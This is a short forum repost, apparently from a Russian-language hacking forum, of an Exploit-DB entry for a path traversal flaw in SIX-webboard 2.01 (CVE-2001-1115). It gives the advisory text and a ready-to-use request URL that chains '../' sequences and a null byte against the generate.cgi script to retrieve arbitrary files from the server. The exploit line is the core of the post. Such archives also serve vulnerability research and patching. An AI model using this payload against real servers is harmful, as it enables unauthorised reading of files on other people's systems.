Exploit SIX-webboard 2.01 - File Retrieval

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
21068
Проверка EDB
  1. Пройдено
Автор
HANNIBAL LECTOR
Тип уязвимости
REMOTE
Платформа
CGI
CVE
cve-2001-1115
Дата публикации
2001-08-31
Код:
source: https://www.securityfocus.com/bid/3175/info

SIX-webboard 2.01 does not filter ".." and "/" from user input, allowing users to enter arbitrary values in order to view or retrieve files not normally accessible to them from the remote host. 

http://www.target.com/cgi-bin/webboard/generate.cgi/?content=../../../../../../../../../directory/file%00&board=boardsname
 
Источник
www.exploit-db.com

Похожие темы